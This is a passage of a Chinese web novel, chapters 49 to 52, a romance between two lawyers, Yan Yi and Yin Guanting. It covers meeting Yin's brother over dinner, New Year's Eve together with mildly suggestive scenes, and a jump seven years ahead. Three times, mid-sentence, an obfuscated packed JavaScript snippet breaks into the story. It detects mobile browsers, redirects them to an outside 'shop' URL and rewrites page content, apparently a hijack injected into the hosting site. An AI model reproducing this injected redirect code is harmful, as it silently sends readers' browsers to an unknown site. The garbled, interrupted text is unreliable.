尹观澜：“C市的厂子需要找一个稳妥的法律顾问，老蒋看上了你们所的易律师，结果你那位小朋友刚好是易律师的助理。” 这太巧了，尹观庭一时默然，他对光源的业务不太上心，倒是不知道光源集团在C市新设了公司，不过这些都不是重点，尹观庭把话题绕回来：“你见到他了，然后呢？” 尹观澜很淡定：“随便聊了两句，他有点过于紧张了。” 尹观庭也很淡定：“本来也没到见你们的时候，偏你要着急。” 电话那边沉默了，过了半天，尹观庭差点以为电话信号断了，尹观澜的声音才悠悠响起来：“果然是长大了，要是换成以前，估计已经跟我吵起来了。” 尹观庭：“……” 尹观庭：“把那些老黄历收收，十几年过去了你再来感叹这个也太没意思了。” “总之现在我和爸也管不了你，”尹观澜声音慢悠悠的，“那个小孩看着年纪还小，你快四十的人了，你自己有个度。” 尹观庭嘴角一抽：“四十的人是你，不是我。明天吃饭的事我先问问他再说。” 尹观澜倒也没勉强，尹观庭跟他再聊了聊家里的情况，就挂了电话。 尹观庭收起手机回到车上，看着严熤给他换上的可达鸭车挂，怔然了一会儿。 他还是能感觉到尹观澜隐藏在淡定表象后的不赞同，可惜，从他离开北京来到C市，他和家里的关系就有了裂缝，虽然随着时间的增长，缝隙在逐渐合拢，但相处之中还是多了不少陌生的克制。而比起忙于工作对两个儿子一直放养的父亲，他和大哥的关系更加复杂一些。 说亲近已经也没有了儿时那种亲密无间，说冷淡也算不上。 就像严熤这件事，尹观庭不会跟爸爸说，但是会和尹观澜坦白。 尹观澜也不是十多年前刚上任时年轻气盛的光源董事长，因为一个没看在眼里的小角色跟自己弟弟闹成那个样子也实非本意，尹总虽然把事情全甩给了兰玉延背锅，但剩余不多的理智还是反省了一下自己。 尤其是尹观庭离家五年之后，兄弟俩一番长谈，让他有些失落地接受自己弟弟作为一个成年人已经脱离了家庭管教的现实。 所以当尹观庭坦诚自己有了新男友的时候，尹观澜在一通刨根问底之后能做的事也就是亲眼来看看严熤是个什么样的人了。 本来看尹观澜电话里不痛不痒的态度，他还以为自己大哥对严熤有意见，但结合严熤的一番叙述，看来他对严熤的第一印象还不错。 想到尹观澜的邀约，尹观庭犹豫了一下还是问道：“闪闪，明天你愿意和尹观澜一起吃个饭吗？” 严熤正转着手机玩，听到这个问题差点把手机飞出去：“啥？” “和尹观澜一起吃个饭，”尹观庭耐心重复，“要是不想去也不用勉强，本来也是他心血来潮。” 话虽如此，但大舅子找你吃饭还能不答应的吗？ 严熤深吸一口气，用一种视死如归的语气说道：“我去。” 尹观庭被他逗乐了，无奈一笑：“不用勉强，也不用考虑其他，只看你自己愿不愿意。” 严熤想了想，坦诚道：“要只说我自己的感受，那肯定不太想去，有点害怕。但这种事情总不能因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740097|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害怕就不去面对，特别是我是认真要跟你在一起的，又不是随便玩玩，那迟早都要面对你的家人。” 汽车转过一个弯，被熙熙攘攘横穿马路的人群堵在了路口。 尹观庭得到一个短暂的空闲看一眼严熤，清透的眼睛引着窗外的霓虹灯光，流转间有种波光潋滟的美感。 “我总不至于这点勇气都没有。” …… …… 在车上话倒是说的很漂亮，等回了家严熤才后知后觉地焦虑起来。 “我衣服都在我那边的房子里，我是不是得回去拿一套正式点的衣服？还有明天要去在网上立案，案子太多了估计要加班，会不会让你哥等急了？对了，我得带点礼物吧？你哥那个级别……我得送什么啊？” “闪闪，”尹观庭有点想笑又有点无奈地按住团团转的严熤，“别紧张，就是吃个便饭，你下班之后我接你过去就行，什么都不用准备。” 严熤跟他对视一会，泄气似靠进他怀里，声音闷闷的：“真的吗？空着手去很不礼貌。” 尹观庭抚着他的背给他顺毛：“当然是真的，尹观澜什么都不缺，何必浪费这个钱。” “不行不行，”严熤从他怀里抬头，皱着眉认真想，“贵的我也送不起，还是得看看有没有什么表达心意的，哦对，师兄，你知不知道你大哥……唔……” 后面的声音都被尹观庭堵了回去，严熤理智上想挣扎，但小别胜新婚，情感和身体反应都不容他反抗，很快沉溺在和尹观庭的亲吻中。 他不知不觉被尹观庭按倒在了沙发上，一双手从衣服下摆伸了进来，在腰腹间徘徊。 严熤被这种带着亵玩意味的揉□□得有点腰软，用极大的毅力分开两人黏在一起的唇舌，喘息道：“正事、正事还没说完呢！” 尹观庭半压在他身上，一边大腿插入他的两腿间，极具暗示地蹭了蹭，嘴唇则在耳后鬓边轻吻，声音漫不经心中带着诱人的慵懒：“宝贝，好不容易有时间，你就要一直想尹观澜？” 严熤只觉得从耳朵开始半边身子都麻了：“那就明天再说，明天不许敷衍我……” 他只来得及从脑子里挤出一点理智交代一声，很快变沉沦在亲昵的相贴之中。 50. 第 50 章 不管严熤怎么焦虑，第二天都如期到来，比晚上就要见家长更让人焦虑的是，白天还有成山的工作。 尤其是办公室的同事们，回家的回家，放假的放假，偌大的十五层只有秦书琴和他两个人埋头奋战，怎一个惨字了得。 两人桌上堆了满满的卷宗，耗费三四个小时把上千页的文件全部扫描进电脑后，他们还得根据纸质卷宗的内容核对电子卷宗是否有错误，只有完全一致的情况下，才能提交网上系统立案。 这个工作不困难，但非常繁琐，需要极大的耐心和稳定的情绪。 但很显然，越到放假的情绪越难以稳定，不管是秦书琴还是严熤，时不时就能听到两人工位上传来的唉声叹气和对法院立案系统的愤怒吐槽。 “唉……” 七点的钟声伴随自备叠声效果的叹息，效果拔群。 秦书琴幽怨地看一眼时钟，抬头和对面的严熤对视一眼：“你还有多少？” “最后一个，”严熤看了一眼自己的电脑，“但是法院系统崩了。” 秦书琴嘴角一扯：“我刚刚提交的已经崩到现在了，这是第三次重新提交了，他别一会儿回来又告诉我要重新传。” 严熤报以同情的目光：“有很大概率是这样，你应该也是最后一个了吧？” 秦书琴往椅子上一靠：“全看这个网回来之后我还要不要重新传，不要的话就最后一个。也不知道易哥在急什么，后天就年三十了，他不会指望立案庭明天给他审查网上立案吧？法院的人估计都走光了！” 屏幕中央一直转圈的页面可算刷新出来了……谢天谢地，刚刚上传的文件还在，严熤继续提交资料，嘴里随口回答：“总得给当事人一个交代吧，而且往好处想，今天过后就放假了。” “律所明明上周就放假了！”秦书琴长叹一声，她电脑上卡死的网站还是没能重新刷新，干脆站起来活动身体，顺便跟严熤闲聊，“不过说起来，小严同志，你过年不回家吗？” 严熤手上的动作一顿：“嗯，我不回。” 秦书琴：“这样啊，那你一个人过年啊？” 严熤努力抑制住自己想要上扬的嘴角：“没，和一个朋友一起。” “哦~”秦书琴意味深长，“是女朋友的“朋友”的吧……” 严熤：“……不要乱讲。” 秦书琴“切”了一声：“小严同志你得看看那你的表情，荡漾成那样难不成还要告诉我你这个朋友是普通朋友？” 严熤：“……” 他已经很努力压制自己了，这么明显吗？ “真好，”秦书琴感叹一声，“我也想跟男朋友过年。” 秦书琴是本地人，男朋友则是外地的，两人是大学同学，毕业后男生跟着她回了老家，在一家制造业企业当工程设计师，两人情感稳定，已经到了谈婚论嫁的时候，之前还说给严熤留了一张邀请函。 严熤问道：“你男朋友回老家吗？” 秦书琴一摆手：“没，他加班呢。” 严熤瞪大了眼睛：“过年期间？什么工厂这么资本家？” 秦书琴：“这你就不懂了吧，一看你就没接触过这种制造业的客户，人家厂房都是三班倒的，随时得有人在。他们单位过年期间加班工资挺高，反正今年我们不回他老家，所以干脆找点收入。” 原来如此，严熤理解地点点头，之前聊天时他听秦书琴提起过，她准备买房结婚，两人都不想靠父母，干脆自己存首付，工作起来也挺拼，易律师为此还专门给她安排过小灶，把几个累人但薪酬高的活给了她。 话都到这了，他不由得多问了几句：“你们婚房看好了吗？” “看好了，”秦书琴点点头，“其实这几年房地产市场不景气，开发商都不愿意弄小户型，我们找了挺久，才找到一套还不错的二手。不过最近新开发暴雷的太多，期房也有点不敢买，上次我们……” 严熤听着她滔滔不绝，有点走神。 房子啊……他本来没考虑这个的，但是看着秦书琴脸上的兴奋和憧憬，他又有点羡慕。 秦书琴讲了半天买房和装修的利弊，突然话风一转：“话说小严是本地的吗？打算买房不？ 严熤从沉思中被突然拉出来，一时有点懵：“啊？我是本地的……” 秦书琴“哦”了一声：“这样，我把我们那个中介推给你吧，人还不错，要买房的话可以了解下。哦对了，你女朋友什么安排，你们一起的吧？” 我没女朋友。严熤内心腹诽，嘴上含含糊糊的：“他有房，不用我操心。” 秦书琴瞪大了双眼：“看不出来啊严熤，你个浓眉大眼的居然傍上了白富美！” …… “白富美”打了个喷嚏，他身旁坐得优雅笔直的男人扭头看过来：“感冒了？” 尹观庭扯张纸擦了擦嘴：“没有。” 尹观澜也没多问，看了看表：“七点半了，你那位小朋友怎么还没下班，平时你们也这么忙？” “那不是很正常。”尹观庭专心开着车，前方灯火稀疏的写字楼逐渐清晰起来。 尹观澜“啧”了一声：“之前爸问你工作辛不辛苦，你还一副‘这也会辛苦’的表情。” 尹观庭百忙之中抽空看了他一眼：“爸也问你管理集团辛不辛苦，你不是也一副‘一点小事谈何辛苦’的表情吗？” 尹观澜：“……” 尹观庭：“……” 兄弟俩互望一眼，同时转头向前看去。 不得不说尹观庭的时间卡的刚好，他的车刚到律所大楼所在的园区没两分钟，就看见严熤背着包正快步往园区出口走。 尹观庭按了一下喇叭。 严熤惊了一下，紧接着就看到了尹观庭的车，脸上由惊转喜，雀跃着朝他走来。 尹观庭放下车窗，严熤熟门熟路地趴下来跟他撒娇：“师兄你怎么来了，我正准备给你打……” 话未说完，他就看见了副驾驶上坐着的另外一位大佬，顿时如同被捏住了脖子的鹌鹑，硬生生把后面的话咽了回去，干笑两声：“那个……尹总……” 尹观澜先是有趣地看着他们互动——当然看的主要是尹观庭——还没等严熤说完，他就打断道：“我之前说的你不会忘了吧，不用叫我尹总。” 那要叫什么，哥哥吗？！严熤嘴巴张了张，可求助的眼光被尹观庭无视了——尹律还摆出了一副“怎么不叫人”的表情——严熤憋了半天只能叫了一声“澜哥”。 尹观澜点点头，没为难他：“上车吧，观庭把餐厅订好了，我请客。” 严熤松了一口气，麻溜地上了车。 尹观庭找的地方是他自己常去的私房菜馆，严熤跟着来了挺多次，之前是陪客户，之后就是单纯跟着尹观庭来约会。一落座他就习惯性地拿起pad开始点餐——毕竟尹律对食物的要求就是能吃就行，但严熤不行——熟门熟路的样子又是招来尹观澜的一阵打量。 可算找到点事情做的严熤浑然不觉，把自己爱吃的以及尹观庭相对偏爱的划拉完，这才想起来桌上还有一位大佛，赶紧问道：“那个尹……澜哥，您有没有什么爱吃的？” “你随便点吧，还有不用敬称，”尹观澜有点无奈，“我又不会吃了你，怎么一直这么紧张。” 严熤面上露出一个不好意思的笑，内心泪流满面。 他也不想这么紧张，可面对尹观澜的时候，身体不听控制啊！ 还没等他说什么，尹观庭已经毫不客气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740098|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地把锅甩给了尹观澜：“你表情不要跟对着下属一样，他就不会紧张。” 尹观澜：“……我一直这个表情。” 尹观庭：“你一般不是这个表情，只有你想装模作样端架子的时候，才这个表情。” 尹观澜断然否决：“胡说八道，我看你是离家太久，把小时候教的表情礼仪都丢脑后了。” 尹观庭嗤之以鼻：“我小时候学的表情礼仪可不是装得高高在上。” “噗……”就在他们兄弟二人你来我往的时候，严熤一个没忍住，笑了出来。 于是两人都转头向他看来。 两张有些相似的面庞，带着神似的矜贵冷淡，一人优雅温文，一人斯文疏离，这个场景换个人应该压力已经爆仓了，但严熤脑子里还回响着刚刚的小学鸡斗嘴，实在是严肃不起来。 他忍着笑：“我不是故意的……就是，你们感情真好。” 尹家兄弟二人同时冷笑一声。 于是严熤又想笑了，他着实是没想到一贯稳重的尹观庭在自己家里人面前可以这么幼稚。不过托这个插曲的福，严熤可算是把面对尹观澜的心里压力调整过来了，坐在桌上的不是连易哥都要小心对待的大客户，而是尹观庭的哥哥，自己男朋友的家人。 他把点好餐的pad拿出去交给门口的服务生，自己回来给桌上两位倒了杯水，感觉自己已经彻底放松了下来。 而他放松下来社牛属性就展现无疑，一口一个“澜哥”把尹观澜哄得服服帖帖的，尤其是严熤捧着他还不忘打听尹观庭的小时候，已经许久没有和其他人讲自己弟弟小时候故事的尹观澜龙颜大悦，说得停不下来。 尹观庭：“……” 他着实很像把桌上的餐盘扣在尹观澜脸上，但看见严熤听得津津有味的样子…… 算了，看在闪闪的面子上。 尹律面无表情地想。 总而言之，虽然尹律不甚满意，但今晚的聚餐还是顺利结束了。尹观澜从钱包里抽出来一张卡递给严熤，让他帮忙去付钱，顺便给了他一个发票信息，让他付完钱开票。 严熤：“……” 行吧，常规操作，毕竟以前是直接帮尹观庭开票，现在换个人问题也不大。 于是他拿着东西出去了，包厢里就剩下了兄弟二人。 尹观澜拿出一根烟，但没点燃：“就是他了？” 尹观庭明白他什么意思：“起码现在是这样。” 尹观澜哼笑一声：“这话听着可真不是东西，人家小孩看起来对你可是一片真心。” 尹观庭却很平静：“承诺永远是件很蠢的事情，何况他还这么年轻，总不能连反悔的机会都没有。” 尹观澜沉默一会儿：“要是他反悔了呢？” 要是他反悔了…… 尹观庭跟着沉默一会儿：“那没什么，我又不是没有失恋过。” 尹观澜张了张嘴，他不怀疑弟弟在感情上的认真态度，所以在知道尹观庭为了一个小孩不回家的时候，他急匆匆从帝都赶来，就是怕尹观庭遇到第二个兰玉延，然后刚刚迈出心结的腿再收回去。 有那么一瞬间他想让尹观庭算了，仅是家世和性格的差距就能让人分崩离析，何况尹观庭和严熤之间，还有横亘着家世、性格和年龄的三座大山。 尹观庭看出他在想什么：“严熤不是兰玉延，何况总不能怕摔倒就把脚砍了。” 尹观澜哑然，果然是长大了：“行吧，总之我也干涉不了你，你自己把握分寸，”他顿了顿，接着道，“最后说一句，这个小朋友挺有意思的，如果可能，大哥还是希望你们能永远幸福。” 承诺永远是件很蠢的事情，但…… 尹观庭宛然一笑：“我会的。” 51. 第 51 章 严熤付完帐回来，就看见两兄弟面带神秘的微笑对视，一时间有点茫然：“师兄？澜哥？” 尹观澜咳嗽一声，恢复了矜持优雅的成年人形象：“弄好了？那就走吧。” “你回酒店？”尹观庭闻言起身，一边穿外衣一边问道。 尹观澜不紧不慢地理了理袖口：“不，我直接回京城，一会儿送我去机场就行。” 严熤有点惊讶：“这个点还有飞机？” 尹观澜微微一笑：“私人飞机。” 严熤：“……” 刚刚才见识到了尹总平凡人的一面，立马又见识到了富二代浮夸的生活，一时间竟然不知道手里的东西能不能拿得出手。 但俗话说得好，丑媳妇总要见公婆，该来的躲不过。 严熤鼓起勇气：“那个，澜哥，我给你准备了一点心意，不是什么值钱的东西，希望你不要嫌弃。” 尹观庭微微皱眉，已经开始在心里盘算，要是严熤送的东西太贵，要用什么借口才能不伤害小朋友自尊心的情况下让他收回去。 严熤没注意他的表情，从自己背包里拿出来一个材质普通的木盒，上面刻了一层老式的花开富贵花纹。 尹观澜一挑眉，接过来一看，里面放着一个玉佛。 整个佛像通透温润，看着很珍贵，可仔细一看有能看出玉质其实很普通。 严熤珍惜地看一眼玉佛：“这是我爷爷的遗物，据说是从我们老家一座很灵的寺庙里求来的，爷爷过世后，我奶奶一直贴身带着。都说玉养人，但我觉得人也养玉，这个玉佛本来不值几个钱，但我奶奶带了几十年之后，看着比珠宝店里卖的还漂亮。就……以我的条件也送不起什么贵重物品，就把这个送给你吧。” 他漂亮的眼睛在灯光下熠熠生辉：“我奶奶把它留给我的时候说，佛珠会保佑我一生平安，现在我把它转送给你，也希望佛祖保佑你一生平安。” 尹观澜沉默了一会：“这么贵重的东西，不留给观庭吗？” “我会给师兄其他的，”严熤笑得眉眼弯弯，像只狡猾的小狐狸，“这是长辈给我的祝福，现在把它转递给另外一位长辈，就当我代师兄给你送的春节礼物吧。” 听出他暗含的小心机，尹观澜忍不住想笑：“这么说我要是不认你这个弟m……弟弟，那这祝福我就拿不到了？” 严熤睁大眼睛，一脸无辜：“我可没这么说。” 尹观澜再也忍不住，哈哈笑了一会，这才用力拍了拍严熤的肩膀：“好，这礼物我收下了，你有心了。” 说罢他又看了看尹观庭——虽然看着还算沉稳，但他自然看得出来一手带大的弟弟暗藏的自得和喜欢，他剩下的那一点芥蒂最终沉入心海深处，不那么耿耿于怀了。 …… 送走尹观澜之后，严熤一直处于一种很兴奋的状态，走路都轻快了几分。 尹观庭看得好笑：“这么高兴？” 严熤抿了抿唇，但还是没能抑制住上扬的嘴角：“你大哥不讨厌我诶~” 尹观庭看着他，目光柔和：“当然，怎么会有人讨厌你呢？” 严熤笑眯眯地看着他：“师兄你这算不算情人滤镜？” 尹律十分严肃正经：“我评价别人从来都很客观，没有滤镜那种东西。” 严熤被哄得更开心了，腻着他亲亲蹭蹭，然后理所当然地蹭到了床上。 …… 这种事情食髓知味之后很难忍得住，放假第一天严熤和尹观庭几乎是在床上过的，颇有点颠龙倒凤不知今夕何夕的意味。 所以除夕当天，严熤从梦中醒来时，还有些没转过弯来。 他看了看时间，上午十点半，说早不早，说晚不晚，身边的床铺已经冷下来，看起来尹观庭起了有一会儿。 每当这个时候严熤都会怀疑一番是不是自己太温柔了，不是说承受方一般都起不来吗，怎么他们之间每次都是尹观庭起来叫他？ 但想归想，严熤还没无聊到为了验证这种事去折磨尹观庭。 他坐在床上神游天外，卧室门被人推开了。 尹观庭见他已经醒了，有些惊讶，随即走近摸了摸他的脸：“醒了？饿不饿？” 严熤下意识眯着眼睛蹭了蹭他的手，声音懒洋洋的：“没感觉。师兄你什么时候起的？” “不到一小时。”尹观庭随口回答，在他身边坐了下来，严熤顺势靠过去，把脸埋在他的脖颈间。 尹观庭则顺势把手插进他的头发里，轻轻地按摩着，严熤如同被顺毛的猫咪，舒服得差点打呼噜。 两人静静温存了一会儿，严熤感觉自己快睡过去了，突然听到尹观庭问：“还想睡吗？要是不睡了，那就起来，我们去买点年货。” 本来还昏昏欲睡的严熤瞬间清醒：“走走走，去买菜，今晚给你露一手。” 说完火速爬起来换衣服。 尹观庭斜靠在床上，看着年轻人修长劲瘦的身躯被衣服遮盖，这才慢悠悠地开口：“就买菜吗？闪闪，你是不是忘了什么事情?” 严熤穿了一件厚卫衣，听着外边风呼呼地刮窗户，想了想又给自己加了一件羽绒服，这会儿正在跟卫衣的帽子作斗争，闻言十分迷惑：“嗯？” 尹观庭抱着手臂跟他对视。 严熤使劲回忆了一下，恍然大悟，笑嘻嘻地蹭过来：“放心，哥哥，我肯定不会忘了你的礼物的。” “哥哥”两字一出口，尹观庭不由得回想起了某些面红耳热的时刻，忍不住咳了一声，保持住镇定捏了捏严熤的脸：“暂且信你。” 严熤蹭上前亲了他一口，然后一把把人薅起来：“现在还是去超市吧，这天儿人可多了，去晚了没东西了！” 只能说严熤的判断十分准确，两人驱车到了附近一个大型超市，人多的差点没找到地方停车，尹观庭还是第一次在过年的时候来这种平价超市，全程只能在严熤身后当跟班，饶是如此还是被挤得怀疑人生。 不过辛苦总是值得的，严熤发挥十二分的厨艺做了一桌子菜，在他端菜的时候，尹观庭开了一瓶红酒。 严熤看着那瓶酒上根本看不懂的标签，又看看自己这桌中式佳肴，发自内心地问：“师兄你不觉得这很不和谐吗？” “自己家喝有什么不合适的，”尹观庭一挑眉，往另外一个高脚杯倒了半杯可乐，然后姿态优雅地递给他，“新的一年，祝我的闪闪身体健康，天天开心。” 你这么一能言善道的大律师，祝酒词这么敷衍吗？ 严熤暗自吐槽，却又控制不住内心的欣喜，欢欢喜喜地接过可乐，努力做出一副正经的样子：“咳咳，新的一年，祝我的师兄平安喜乐，一帆风顺！” 尹观庭笑着跟他碰了个杯，喝了一口红酒，看着严熤被冰可乐激得五官乱飞，有那么一瞬间感觉自己已经醉了。 他在这种微醺的意态里放松下来，感觉熟悉素来冷清的房子里被蒙上了一层柔光滤镜，一切都让他心头发软。他在这种飘忽的感觉下吃完了年夜饭，帮着严熤收拾干净桌子，又和严熤挤在沙发上，一边在看微信一边看春晚。 律所群里一片欢腾，大家吉祥话不要钱的往群里刷屏，主要目的让各位高级合伙人速速发红包。 这种时候尹观庭一般是最先出来的，因为怕麻烦，发完自己的就可以关微信做其他事情去了。但今年身边有一个跃跃欲试抢红包的幼稚鬼，看着他脸上表情随着红包金额变换属实有意思，尹观庭一不小心发超了额。 王信鸿的信息跟着就过来了：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740099|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干嘛呢你！帮大家伙放血是吧！” 严熤刚刚抢尹观庭的红包拿了个运气王，满额的红包金额让他兴奋之下直接亲了一口尹观庭的脸颊，白捡一个吻的尹律心情很好，对待大师兄态度温和了不少：“一年就这一次抠成这样，铁公鸡吗你一毛不拔？” 王信鸿：“？？？” 他不得不再发一个大红包，内心把尹观庭这个不敬师长的混蛋骂了个狗血淋头。 尹观庭不知道他在心里骂娘，眼看零点钟声越来越近，然而严熤承诺的礼物却迟迟没兑现，不由得挑了挑眉。 严熤正在群里凑热闹，热火朝天地收藏表情包，复制发红包的骚话，冷不丁敏感的耳朵被舔了一下，他手一抖差点把手机丢出去。 好巧不巧李鸿音律师跟随尹观庭和王信鸿的步伐，在群里发了个大红包，严熤完美错过。 他戳开那个已经被抢干净的红包，看着众人的金额异常悲愤地控诉：“师兄，你干嘛！我错过了一个亿！” 尹观庭似笑非笑，捏着他的下巴左右晃了晃，做出一副富家子弟的骄横样子：“小美人，伺候好我你还怕没有一个亿吗？” 严熤“噗嗤”一声乐了出来，丢开手机扑进他的怀里：“骗人，你去年创收哪儿有一个亿！不过没关系，我不嫌弃。” 尹观庭伸手接住他，收敛起装模作样的姿态，温和地笑了起来：“那我先谢谢闪闪不嫌弃了。” 他一正经，严熤反而有点不好意思，反思了一下自己刚刚好像是有点过于专注抢红包了，于是知错就改，按灭手机放的远远的，然后蹭回来抱住尹观庭，一副“我很乖”的模样。 尹观庭被他逗乐了，本来想问他礼物呢，但电视里春晚主持人已经开始说贺词倒计时了，于是把话咽了回去，拉着他换了个方向——从面对电视到了面对落地窗。 他所在的小区是郊区的富人区，烟花管制很轻松，物业每年过年都会给业主们安排一场烟花表演，尹观庭的房子楼层高视野好，也算是绝佳观景台了。 随着电视台里激昂的倒计时，小区里陡然传来一声声巨响，绚丽的烟花冲上夜空，寂静的夜晚仿佛突然活了过来。 严熤定定地看了一会儿，突然转过身抱住了尹观庭，他有些难以描述自己的感受，只觉得莫名热流从内心一路往上，刺激着眼睛。 自从奶奶去世，他就感觉自己像是一片随波逐流的落叶，始终找不到落地的踏实感，但现在，他身边有了一个属于自己的人……就像落叶碰上了岸边的岩石，虽然还是无法扎根，但起码有了不用漂流的时刻。 “师兄。”他换了一声。 尹观庭回头：“嗯？” 严熤抱住他没说话，过了一会，他又唤道：“师兄。” 尹观庭耐心回应：“嗯，怎么了?” 严熤没说话，但尹观庭却像是知道了什么。 屋里陷入了沉默了，过了一会儿，声音才慢慢想起。 “师兄？” “嗯，我在。” 师兄……” “我在。” “师兄，其实礼物还没准备好。” “没关系，我不着急。” “可能要等很长时间。” “那也不用着急，不过，得有其他的补偿。” 黏腻的水声响起，间或伴随着轻声的喘息…… 良久，声音渐渐低下去，两人静静相拥在柔软的沙发上，严熤看着身下有些疲惫的尹观庭，忍不住又唤了一声：“师兄。” 尹观庭睁开眼睛，湿润的眼睛看着他：“嗯，我在。” 严熤满足地笑起来，像是过冬找到了松果的松鼠：“我好喜欢你呀。” 尹观庭给了他一个轻柔的吻：“……我也是。” 52. 第 52 章 七年后。 C市房地产登记中心，人群早早就在这排了队，早上九点窗口正式上班，八点半排号系统开放，陈幸安凭借自己壮硕的身体撞开了一二三四个挡路的人，瞪走了五六七八个试图插队的人，这才拿到第78的序号。 还好，百号以内，今天上午就能办完，不至于等到下午。 拿到号，他这才悠闲地下到一楼，给办事儿的正主打了个电话：“喂？严律师，到了没啊？我已经拿到号了，什么？你到了，哪儿呢？我就在一楼门口啊，没看见你呢……” “陈哥——”陈幸安正东张西望，一个清亮的声音喊了一声。 他循声望去，顿时眼前一亮。 迎面走来一个五官精致俊美的男人，脸上微微带笑，令人如沐春风，剪裁得体的正装笔挺服帖，勾勒出完美的身体线条，宽肩窄腰长腿，一路走来吸睛无数，陈幸安眼见着路过的男女老少都不由自主地回头看了他几眼，不由得有点感慨。 长得好就是占便宜啊，陈幸安迎上去，握住男人一只手用力晃了晃：“严律师，好久不见啊！” 严熤笑着跟他握手：“这话说的，我们不是天天在微信上沟通吗？” 陈幸安一摆手：“嗨，那怎么能一样呢？你吃早点没有？没有的话我请客，你号码在70多，大概十一点左右才能到你呢。” 严熤点点头：“那就麻烦陈哥找个吃的地方吧，这附近我也不熟。” 陈幸安很热情：“不麻烦不麻烦，你之前帮我这么多，我做这点算什么，走走走，我带你去吃一家粉，那味道，绝了……” 两人说说笑笑地离开了登记中心，在陈幸安的带领下到了一家小店。 严熤打量了一下这家地处小巷的早餐店，看着就上了年头，明明远离大路，客人却络绎不绝，他不由得想到了晏河区法院门口的面馆，曾经还是个小助理的他跟着尹观庭去吃过一次，尹大律师还跟他说这是“群众的选择”。 想到往事，严熤笑容更深了一点，当时他没想过自己也有被人称为大律师的一天，而这家店如果味道可以的话，他可以带尹观庭来，让他也看看自己找到的“群众的选择”。 沉思间陈幸安已经端着两碗粉走了过来，严熤赶紧接过其中一碗，尝了一口，味道确实不错。 陈幸安热情地问东问西，生怕他有什么需求没有照顾到，最后还是严熤受不了，制止了他：“哎哎哎，陈哥你自己吃吧，我又不是什么小孩子要你这么照顾。” 陈幸安闻言停下想给他夹咸菜的手，有些感叹：“哎，这话说的，我刚见你的时候，你看着像个高中生。一转眼都两年了，要不是你们，我这会儿说不定还在牢里呢！” 严熤笑了笑：“我那个时候看着这么小吗？” 陈幸安比比划划：“也不是小，就是看着就是没经过事儿的小年轻，我在看守所里见到你的时候还以为我妈被骗了呢！” 严熤笑意更深了一些。 陈幸安是他的一个案件当事人，这兄弟是个有点憨的倒霉蛋，找个客服的工作结果找到了黑老大的催收公司里，还傻乎乎地跟着人去“盯客户还债”，结果碰上C市严打要把主犯做成典型，跟着去盯过几次客户的陈幸安就成了从犯。 他不识字的老母亲从老家赶来C市，几经周折才找到法援中心，然后工作人员直接把人指路到了当天在窗口值班的严熤那里，本来已经做好登记就等司法局指派，结果没想到陈幸安出于对律师的刻板印象直接拒绝了援助律师，法援中心不再指派律师，担心自己孩子没律师吃亏，爱子心切的陈母只能找到自己唯一认识且颇有好感的严律师，请他帮帮自己的儿子。 后面的事情就好猜了，严熤都想没想就同意了，然后说服了尹观庭帮他，和所里的刑事大状赵律师沟通，接下了这个小案子，最后成功替陈幸安做了无罪和罪轻辩护，把他的四个罪名变成了一个，判了缓刑，加上案件侦办期间的羁押期限，庭审之后陈幸安就被放了出来。 之后考虑到陈幸安有案底，作为长子还得负担老母亲的赡养，严熤通过自己的一个客户介绍，给陈幸安在一个建筑劳务公司里找了个活，这下陈幸安不仅是对律师印象大转变，更是把严熤当成了恩人，时不时给送点土特产，两人关系就这么保持到了现在。 这个案子的主办律师是赵律，严熤在其中展现出来的交际能力和专业素养令他十分欣赏，动了挖人的心思，正好严熤当时跟着易律师在劳动领域深耕两年，大部分时候都在帮各类公司处理一些不合规的人事程序，身心俱疲且心态烦躁，和赵律深入沟通之后，严熤干脆转行干起了刑辩。 凭着扎实的法律基础和颇有手腕的处事风格，时至今日他已经是团队的高级律师，有了自己的人脉和死忠客户，说是高级律师，其实用赵律的话说就是“如果愿意随时可以独立出来自己干”。 不管严熤暂时没这个想法，他现在作为高级律师，虽然一些时间要看团队安排，但事实上相对自由，赵律不太管他的在岗时间，需要处理的杂事可以丢给下面的小朋友，案源风险和焦虑还可以通过团队分担，整个人轻松不少，腾出来的时间和精力就可以跟尹观庭卿卿我我。 一个家里有一个忙成狗的高伙就够了，不用再多一个。 想到还在外地出差的尹观庭，严熤就有叹气的冲动，都一个月了，还回不回来了！ 陈幸安发现严律师吃着吃着停了下来，顿时紧张起来：“严律师？不合胃口吗？” 严熤回神，笑道：“没有没有，想到了一些私事，这家店还挺好吃的。” 陈幸安哈哈一乐：“是吧，我们公司就在这附近，兄弟们吃饭就喜欢上这来，老店了。” 严熤打趣道：“那这老板还不得给你们办个会员。” 